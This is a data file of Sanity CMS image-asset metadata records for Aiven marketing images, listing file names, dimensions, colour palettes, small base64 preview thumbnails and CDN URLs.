{"_createdAt":"2022-09-16T12:41:10Z","_id":"image-486f90475ea2c497ed7f607a3b440cbc1bff94fd-1000x711-png","_rev":"StyfnzRSyhTCbsBlPOiePQ","_type":"sanity.imageAsset","_updatedAt":"2022-09-16T12:41:10Z","assetId":"486f90475ea2c497ed7f607a3b440cbc1bff94fd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VVOf=P5pDitl8^*0$g-:kXM{00V[%#-7OXtmV@nhEMIA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4064697609001406,"height":711,"width":1000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEM0lEQVQ4jUXSfUzUdRwH8J9rKNpK16Hl5kPlYrOla8YWW+cG2tNSOBKOArIWNBRRjhEQGCdF6AlbgpYeSCqicHjkA9jzXKXOpxBEuAdAZYYoHHfH/Z6+v9/3+/v+fp9vO//pj/f23j7ba3tvH04QKTc+EXpyeHT8BY/v3hqP927i4NDoa9eu961oaTkyf8WyxbM5jotZtCA2Zp05IebundGlkUgkUxCESoRQFaW0yjCMLZTSVYqiPMHxohZ7ov3Hl7ZuL7OmfZBXusGat/O9jLyK5A3ZJSsT3sybv2TVh/OeXWldHP+69VVzqvWrvd8VD3mHz87MRLwIoRFK6YhhGD9RStNkSYrhQhF1oaOu4a3MrNzD1s2Ft7PyK0eyt1YNZ235cjjzs0pPem75QEbuF/0526r788vq+usPtg/fuOXlQ+EZQAgxSikzDMNDqf6xJIpzuEBQXl5X35C+a1fNL+2uM8qFS73swuV++P3vXvjj4k348+oAXLw+BJf/8cLVPj/c8t6D8YcBiPBCFASNEKZTzaNh5RM5PDmHm5oWn29o/D7D6Wz61TPkURBSmSAhCIZmIBIRAKsYKKagYQ00jQLRNJARAlEUQZZlUBSFYWH6Phm7Uk7bs0zcZEBYVFf/bWpTU/PPPp9PUTFmIlIhPBMBgecBywiIiECVEGCMgRACkiQBzwv/g5N+Sfur/pSxZ8labvxheG5pWUXyoUPOcz6fX8GEMEXFIPAiE3mBKZLMsKwyFWGGscYIJkySJMbzAouCGBPQJgZA7y7yQvXTFVzXmd9mvb8pfc3+/Qdcfr9fIURjWFVBFkUWjYJkhjFhmOiMYJ0RQhlCymNMVTHougHGo9vMOJ0fAPu8ExxjjDObza/s29fQ5vP7ESGEEawCksTHUZAMKiagEh1wFMQakySZCYIQnQsapUDH+5ju/jQEVXNPPwYTExNfbmxsPD46ekcCw2A6pYaqKIaKkKFhbBi6DmAAMAYQvauKApIoQnSJyM/A1LVOJja98wB2zj7I5W8pmGU2r13tcDhO9vbeVIPBIAtMTbGHDx6wRxMTLDA5xULTQRYKhlk4HIHo/00HQywQmIbAdBh8g31wpdlmjFW9eMOojMnjWn44GpeT81FSUZGtzel0TnS5u8LuzlNBV4cr1NnhCrk7O8On3R3iOfdx2u1uZd1drazH3Qo90X6qlZ107mVtFamhSyXxx8ZqE97gnM7m5SWfl5pzc/O2FhRsq7HZivfYbMW7bTbbnqIdRbttRTsctRW5R1pr026ecbwt9DjWG+dr18H5r5Og256MXeXJY8eKkzpcFRs3uw/Y4zm7vTq2sHD7U9nZOc9YLGmmlJRUU0qqxWSxWEwpKSmmdMu7cWe/Wb3qfsuysvDR527whxcqwkET8A0L9Mje+f9O1SxoHqxcur65ZGPcLrs99j9Hxynyp5jxmAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38374b","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#591704","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f98308","foreground":"#000","population":4.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7989d","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee929e","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a24d74","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f98308","foreground":"#000","population":4.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptiop-screen-with-aiven-console-opensearch.png","path":"images/sczeoy4w/production/486f90475ea2c497ed7f607a3b440cbc1bff94fd-1000x711.png","sha1hash":"486f90475ea2c497ed7f607a3b440cbc1bff94fd","size":152929,"uploadId":"TZcyTfGf2GoK27eBVjfhoQo85AoIbc98","url":"https://cdn.sanity.io/images/sczeoy4w/production/486f90475ea2c497ed7f607a3b440cbc1bff94fd-1000x711.png"} {"_createdAt":"2022-10-03T10:29:15Z","_id":"image-9f1a793f9e0e5ad0ca02b0b9ac3fcf4c67c5f665-1280x720-jpg","_rev":"XMqVxILwpPMz4xYxcCgwf7","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:29:15Z","assetId":"9f1a793f9e0e5ad0ca02b0b9ac3fcf4c67c5f665","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAECAwj/xAAcEAACAgMBAQAAAAAAAAAAAAAAAQIRAyExElH/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A6ijDxjShyi0LS2Tk1JUI76BpS+AAD//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#616162","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b0915","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ee8584","foreground":"#000","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcccd4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee8584","foreground":"#000","population":0.2,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b48488","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f35b6b","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"M3-enjoy.jpg","path":"images/sczeoy4w/production/9f1a793f9e0e5ad0ca02b0b9ac3fcf4c67c5f665-1280x720.jpg","sha1hash":"9f1a793f9e0e5ad0ca02b0b9ac3fcf4c67c5f665","size":38073,"uploadId":"k1G8pP2pJKCEbNL8LWzEMp2XdtoH2DEU","url":"https://cdn.sanity.io/images/sczeoy4w/production/9f1a793f9e0e5ad0ca02b0b9ac3fcf4c67c5f665-1280x720.jpg"} {"_createdAt":"2022-11-25T07:11:04Z","_id":"image-3037395c09b05bdf77ec03b005882f50f8576fb0-1567x844-png","_rev":"z7EiK8inwybcbhSAyDPtFy","_type":"sanity.imageAsset","_updatedAt":"2022-11-25T07:11:04Z","assetId":"3037395c09b05bdf77ec03b005882f50f8576fb0","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACdklEQVQokU3NW0/TUADA8X4gv4E++GDimy8aH3jzRryghgdjIEYxmBFFiJcIAdTOMW7LcAMU2awExmBuMITu1m3tCt1GT2+nnLbrNi49BqOJye/1nz9hWg1J1kWgSRKUZF2S94EEAYBAgrKKdFRHZtP4q2EYyECyiaBp1my7QSgqyjGlLZpJpYuZLJdjSpksm0oV6FSeyfN7AKqwpum2BpEOOCREEDeLdihDYmsGIjRo7eyCIldhS1WOF9mSmC9WWDrNR6nK4qwSj2gsp0j7qlSB7IKadoNtt0KPmGywoZUIZDZUWJNUS1ZNQTTogppcz/AzpDFw037eggY7RWq2XGArPCNkvhe3wplfK+zPMX399SG/RCCzqem2Cm1JtVKc/i1SnPdOxV239x6dB92XmcGuzTl/YjWaiMeSiZWN2NIG9SXn69U97cf+4ZNYhbai1YBibea1YJj2vR8N9PdEh1wRz9uvk94vM8FAIBAMBpepudQiWfI9UXpaGvcvOe0df84nsaWqRmlXpaIZ0jNDDrn95MiU+4N3dNQ7Nk6S5IT3U+KHX0l67JDryHXLabuDu14SplGHmqEpUFcUHYiF7U3KMxB61rb8+Ar19N70i253X6+7vy80QQrJ8MFOxMmG8cIUnp7Eq0tETVNhWZB3Ob3C2WLRYpaVyU6544zWegpcO527cXGtrTXu6hJCvjq35lSTuJzEfBzzG1hiiKZc3S/lZDaNyswByB0LsePYR2e41Xlw7uj62cbVC8bDu+b4yGE2ikUag3/kLIY8cWTpTSjWoXiAgGPsYVTGShHTi9j3Br/qdN71OPOfHS6FoYBR5T9VXFN+A5B2F18uHCTNAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#51565b","foreground":"#fff","population":1.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#154da7","foreground":"#fff","population":0.57,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f85826","foreground":"#fff","population":8.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbbec1","foreground":"#000","population":0.65,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc649c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#905f4e","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85826","foreground":"#fff","population":8.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"reinvent.png","path":"images/sczeoy4w/production/3037395c09b05bdf77ec03b005882f50f8576fb0-1567x844.png","sha1hash":"3037395c09b05bdf77ec03b005882f50f8576fb0","size":243736,"uploadId":"tHZAolYa3AT6uRxbIIFwRMu06OCmvRJz","url":"https://cdn.sanity.io/images/sczeoy4w/production/3037395c09b05bdf77ec03b005882f50f8576fb0-1567x844.png"} {"_createdAt":"2022-09-28T14:25:02Z","_id":"image-097a4c715a8af0b00094e818d3e4f7b2af5336f0-2500x2500-png","_rev":"vDQRRYe9nRreptIRp0oNg9","_type":"sanity.imageAsset","_updatedAt":"2022-09-28T14:25:02Z","assetId":"097a4c715a8af0b00094e818d3e4f7b2af5336f0","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE1ElEQVQ4jW2Ue2yNdxjHn/aU3jjKIR1bbBPCOW2HLlg0wyYjk/lDhixZtwjOaWuXbkKrochIRhAbYy5/EHfNXOrWumzMlLKSlR7t6Fprj1Otnl7O/T3veb/f5T3HVLL9kifP8+SXfH7f5/K+IharRM0WteHzIz42LSfBkJ47xJCR+6YhPTer9+i8Vy0zV8WRlOItpaL7F63nPAPFpuWIDJunx/ExabYRYrHNFbN1nYxa+JOMXLhXRsyfKfJewsqtpSKS9R8gn0MtVolJe66sj1hsb4vZul7M1speb+S19puQHxw6dVn9pE83FJaUV71OMvFq1YPY/wMyAv23VIstSSy2d8Vs3ROXkds8ePJS9Z15m7hozSFu2nux8/KtuvNeX3ANyWxN08YCMEILxjBbhN4GYahT6HskUXUWm0EstjFitm7vPTqvxTJzFRavL8G5q/dQ/3cbXF3ecEAJeTWghWQ1gD0k54BMJRnDssERGOu/ExGzVWLTcwaK2fqlIT2nduSMYm31ttOoefgYgWAIJHV78eh5J4ALhJYNTTFxnwj0kt12kaTMz/WBZIrZesg08Wtvzur9/KO2CeGwFoEBoAZA0QCvqiGkJ4B+4YGmnIKvcQb/2pKs90+H6sA4MVvnxKTl3M78cC0OnrkJry8InaaENYYB6IyWgIqa7iBcShj6OxGlYV8bO2/vRN3asdwthgiw3/j8BBm50JYw9rOa2V/tUKpqHoV1UFswjHqPAmdApUsJ82ZHAOVPfGj2q9RVKhqhqn4Nrht22otycdaUgs0iMmRKQbwMnz99UNbi77/58cz1ptbO7paAymvtfpxu8eLyUz8vt/l4sNnNE489uNURwAOPglp3CA6fn0r79S7ezd+hlQ8dwbKXRD7I2xorA+f2n7pgc0Z1XXNxh19prO4K8pTTi8PNbhxocmN7Qxd3NHSxxOHmUYcbOvj4Yy9uuTz0Prmi8M6CU1rZK+MYOiqRZbxQYdd9PMnZXlWrqnMruOEK6Opw0ulhicODc0+8vNTm45kWL0udHpQ98aO2s4tBx3GVlbPKtXOpE0N6D9s7PZEPpsLeFAtgnKrhqFvVfB1KmE+DYb1ncPhV6D1tDap0BlQ0+UJ0BsLweZqJhxsD/HViCc6axnCEiDS3dIizrSuiFMAgAl8AqCEZHeez0xPpIYGwH2y9QFZlt+H88A0sNb2GAxItGYCEo3tkgBZKp+rZDNXjoPZ8sfU9eR5T9YKuG8S9JQp+yaxgaWo2dqWY8EliDxCtF0Rr3C3wOxLgqpwE14196K5phf8xEOokQt2E0k54HhLOk0R1fgiXx9/n2ZdX4tAAC4p7JXNVbEzPn+LBemHj7ugDd/P70r58Gv9ctwsN2++zaV83m/YrbNiu0l4UYOWsVv6ccY1nhqzmEdMErkvoz6WSyJWGmMhAIhBfo/CONQr/QYTlQ5Nx5a1MXpu6iBXv78S1aWd5JesSLqadYNnQjTyd+hGOmMz8Nn4AC6QvCyWRhdIDZHuF0F4k/P3jaF4gwoNiYGlcf5amjOKx/pNZ0m86Dxsn8UCKhduMqVxuMLJAjCwUIwoliQXPgBHo+WHC36YIjkXUCe/mR5XniXBFTgxXGBO5oo+RRUlGLolL5lLpy2XSF4URdX1YEFX4D+L9BILhjDZ0AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a395c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042a74","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042a74","foreground":"#fff","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e7cfdc","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbe264","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#586f95","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f06f0b","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Adeo-logo-image-composition.png","path":"images/sczeoy4w/production/097a4c715a8af0b00094e818d3e4f7b2af5336f0-2500x2500.png","sha1hash":"097a4c715a8af0b00094e818d3e4f7b2af5336f0","size":45361,"uploadId":"k69Z0srB8W90kNXyzomPRp0RJ2aVlhMF","url":"https://cdn.sanity.io/images/sczeoy4w/production/097a4c715a8af0b00094e818d3e4f7b2af5336f0-2500x2500.png"} {"_createdAt":"2022-09-28T14:25:02Z","_id":"image-5b71b6862d7f901dbd6828397b1303eed0c7921d-2500x2500-png","_rev":"vDQRRYe9nRreptIRp0oNld","_type":"sanity.imageAsset","_updatedAt":"2022-09-28T14:25:02Z","assetId":"5b71b6862d7f901dbd6828397b1303eed0c7921d","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE/klEQVQ4jWWUCUxUVxSGzwyDo1KFCMKA2Na6MY9FGqVal1SrtaaLMbg1jVqhzJuB4h7FBQsu0cZqtVsIQVNJGxesVBQHhhFpRBACRasVWrEWGmEGZlgFme2dv50Zaml6kz/3f3m5X/5zzn2PSNAQqTVEgujWMBLEALd8Y5KVREThC9KUimjddFmk9iMSxGQSxFgSROWQM+Txz5b3hYwEMYTUmrdJEHeSIO4mQYynyYkCTUyYS1M+PEoRST+RWlNDgpghj9K+NHbuNqLJiaSI1lG+se7fUINmFKk1K0gQC0kQH5Na81gmiOUjp6eeDJy95XzArM2P/KanSooYnZMEUU8RSbNjlu0jogUeqG9MMlFE0hCgWjOBBPE4qTVWmSBiVNwGRC7NdMRvyupNPXi2b/Ph867E9FwsTjohRS7NvBU2f8cy35hkv+de1smIfCjzqwJPUlKLRLJITx8iSK05JY/SPgmbvx2rtmZL2Xk3UFH3EA+azGhqsXLDIxOXVjVwzoXy5q1H8rJi4w+sVkTrYuWRon/Qq5tkwa9oSR7p6eWbJBNElSxSmzb+9bSHYsa3Uln1r9zV08+SxAzgmRxOFyydvXZjZb0pYc/p2pB5274htWaVT5Q22D8u1VstACL/5b6x8Qfm7Tqef/FmXWNf/1M73AD3kiSGW54H9uzo6OrDmSu3pIXrDnf7xequklqzdNi0lJE0ResFLtuYRb/9YY4yW3tybXbHEzdtSLJ/vAcqeWNza4uJj31xGtGLUtp9hMRjFJUygXw/9gIdTpcCwBsAl9psDmd3Tx86O3u4o6OHOzt7YbV2w2y2stncAZPJwu2Wbu7psHKt8TKS1qfYx8auKSC1Ls5dLEnMZLPZRwBYY7c77zU3m3Cz/DYbS6rYYLgFg6EKRUWV0OsrUGKsRklJFRuv1fDdOw38Z9VVZO/SOmbMWV5IEZqZwBlvwoEBmx+ABJvNXv+g/ncYC8q4+PKPXFxcyYWFN3GlsByGkipcv16L0tIaNpRUc13tL2ypvYqyT9Z1r12yKFsprJ/q+VDcQJvNrgSw3Olw1nSa2rm1vpHbm1vY0t7JbW0dnlItli5P6VZrF7e1d3GX1cq2O/ncfOKdhlPvq3WTZ6wMWBym8AKdDqccwExmvig5nE/ZbgdcrqEDGeK980G/BXzzc4ft2DRD64Zhr21Yt17uScjMg4IK4O0AGgFI7pNDrsp/veRkbqoAn1vbg/2B2dhOU01E5ExTehMOSsGScwY7BnLYMdA+eKv/L5eDua2e2ZAu8dGI+5yu2Og6pAx2DxgJgz1EYymxPo3Qb/WD6e5baLl9CdaH3ejvAJwDgMsBOJ4yes3Aoxvg4t2ME7EtvHdEFh9UzOa8ED8uC5e5oV5gbS6h9ABx688Ew54xMO5bifLPvkdt7mO+f8mGhkIJd84yrh9y4buVfTgy6QH2Ds9Bps8SnPQPhiFMiQtBMr42zttDDzRf691XkwyHxo/Bl3ELkb1gP04uvoycRdX4etZtHJlUwRn+57BLvg2ZPnP5VEAo9KGjoVcN50KVDHrVkB42VRKubPb6iUScREpsoXDspDnYK1+NdNkHSKcVyKA5ODriRZwL9kdR6GjWqzxAFIXKuCjU+9PGp1MIZ94j7CDC4RcIpnvEbvC7RPhhvC/yggJxITgEBeEhKH4+iA3jAqFXjYFeFeRRUagf9CoZ/gb+BTl9sAGcBkE+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#364761","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#062a75","foreground":"#fff","population":0.45,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#062a75","foreground":"#fff","population":0.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adb4cb","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecc17d","foreground":"#000","population":0.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b08966","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Ometria-logo-image-composition.png","path":"images/sczeoy4w/production/5b71b6862d7f901dbd6828397b1303eed0c7921d-2500x2500.png","sha1hash":"5b71b6862d7f901dbd6828397b1303eed0c7921d","size":42148,"uploadId":"rXX3yclXr3TdTwCBnh0FDlJqepEXYXdN","url":"https://cdn.sanity.io/images/sczeoy4w/production/5b71b6862d7f901dbd6828397b1303eed0c7921d-2500x2500.png"} {"_createdAt":"2022-10-03T10:31:28Z","_id":"image-f86f1fae1c59cee5854cd0a91016f7e94bf2d08b-1280x720-jpg","_rev":"8WeirZ6KB9gJqgJfvvSvNd","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:31:28Z","assetId":"f86f1fae1c59cee5854cd0a91016f7e94bf2d08b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAIBCP/EAB0QAAMAAgIDAAAAAAAAAAAAAAABEQIDElFhcYH/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A6hxxWvWljeML1uqu/S2lyngzJRL2BcXQAA//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e6161","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#770c1a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed5569","foreground":"#fff","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb0b8","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc94a4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bd777e","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed5569","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Cassandra-enjoy.jpg","path":"images/sczeoy4w/production/f86f1fae1c59cee5854cd0a91016f7e94bf2d08b-1280x720.jpg","sha1hash":"f86f1fae1c59cee5854cd0a91016f7e94bf2d08b","size":36702,"uploadId":"z0X43PlBxW1f08baaztRJiEUaM3ZY7O0","url":"https://cdn.sanity.io/images/sczeoy4w/production/f86f1fae1c59cee5854cd0a91016f7e94bf2d08b-1280x720.jpg"} {"_createdAt":"2022-09-27T15:19:16Z","_id":"image-cf3e434f13ef9ee9e46e1772832c1ec6f4e11c0b-1600x1194-png","_rev":"lf1jOsEAA7PAFZMZhbvTlU","_type":"sanity.imageAsset","_updatedAt":"2022-09-27T15:19:16Z","assetId":"cf3e434f13ef9ee9e46e1772832c1ec6f4e11c0b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VbOMy,9|IAtk9E.TxD%MX9M{00aeyE-7OYo~adr=IpMx","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.340033500837521,"height":1194,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAAEU0lEQVQ4jXWRe0zVZRjHX1lGQiuLyXA6xWmXaXZZq505qZyjkR5QkqFi4o0ZKnLxwMkMsxsIlgdFO6jTwMtsiOC4HEhya4pkUHJE6iCZmgJyzpHzu73v7/5736ed498922fv88/zeb/PHsQJGgo8wk+NjnHThkcfzR0eCb7+YDgw7+7dB9N/6+6OWW9/IyoeoQkLpqIJX26yTRgP+qfwHJfM8/wGjHGOaZo5lNIVpmnOURQlCgmSEV3f0DJrh3O3fc36rR9nrt2Sl/HRlq0fpGdvmvfW4ozY+BdTJk5OTJ6S+FryfFtKcvl+9wbfrdunOI7vJYT0mabZRyltME1zKSFkIgrxalzFvgOLVqxcfygtM6dn+drC/vR1jhvLs3d47Vn5vSmZ27pTVuZ1pa8r7srO+6Kr7GCdt9f71zjHC1RVVWZZFlBKB0zTWkskMRoFxsmMikrXh5/s/Nxz7MRZuan9MlzouErPt11mjZ4rrPnir6ztUg9t/+V3evFKH+3+Y5DdfTDGBFFimqZFhJZl/mnqWjaRhGjkD0qJrqpDGW73kY6bNwdUCcvACZgFgiEIhXggRAVV0UFVdVA1AxRVB0xkhjFh4YS6poGOuTvGcF+R0Zg7GY0FpYR937qWHTl6rH1wcFDRdB2wojKOF5gkikyXFWZghalYDg8zw9AZIYRJksRkWQlLQQ/8LZpdB07Riplvo5GHXOzOT0sXu901LT6fT9U0HWRVY4IgRYQqkZlGFKYQhWmaHgFjzARBfJxS05gxcoNZLYX9bM+zRehaz0BUZuaqNw9WV9f7fIOKruugqSojkgRhVJlA+BNNt0CPYAAhMkgSZoqiMMO0GB29AbRx8xjbHVOLAAAlJSW94nK5Tvt8PvmxUGEyliIoBEdSqLrFNM0CTTMAYwKiKEaEpmUxa8QLVsPGcVY6qTEitNls86qqqk4ODQ0RalEwDYOqsszCGOFLmiajlLJwUUohLMJYYpFNsMjGr18Actw+yj6LPoZyc7ehhQsXzq+srDzj9XoVgeeBGw9B0O+HR4FApBd5HkRBZOE1RQlHDhYKcSzEC+z24ADrrS2h9/e8cJ3umrgV1daefD4ra807Dkfxmbq6On+7p13ytLYJLc3NYmtzi+hpbRV/8rQonZ4m2ulphE5PEwvzc/hta4KGukPwY2m6cM0x5+zwN6++h2pqjs4sKCh6d+PGTY7t+fnVTqfTXVLi/L6kuMRd7Ch2lxQ7aspLt5z/oXy171zFMrlxr501lS2Fpq+XwPk9S43TO1MenihY1HrO+f7mCwecL6Oy8r2x27cXTFm1Omtmatqy2XZ76mx7atrs1LS0SJ+WumTOdwU229X9L+UPHZ5x7l71tOv3XQm3/q2IH/jnq/hL/bumVnTsmJtS7ciYvresLBb5/UF05849lJiYiP6vAJKioC0hDurjFsCp53Lg+DO7wP10IVTH2KFq0ixwPfEkIIT2AaD/AJmyR1lCu9OOAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f524e","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#052664","foreground":"#fff","population":1.6,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f98308","foreground":"#000","population":4.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cec69a","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed99a0","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e4c64","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f98308","foreground":"#000","population":4.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-opensearch.png","path":"images/sczeoy4w/production/cf3e434f13ef9ee9e46e1772832c1ec6f4e11c0b-1600x1194.png","sha1hash":"cf3e434f13ef9ee9e46e1772832c1ec6f4e11c0b","size":354372,"uploadId":"vRZnIaItyh40ktfwXF1Asy9C6uHymqRF","url":"https://cdn.sanity.io/images/sczeoy4w/production/cf3e434f13ef9ee9e46e1772832c1ec6f4e11c0b-1600x1194.png"} 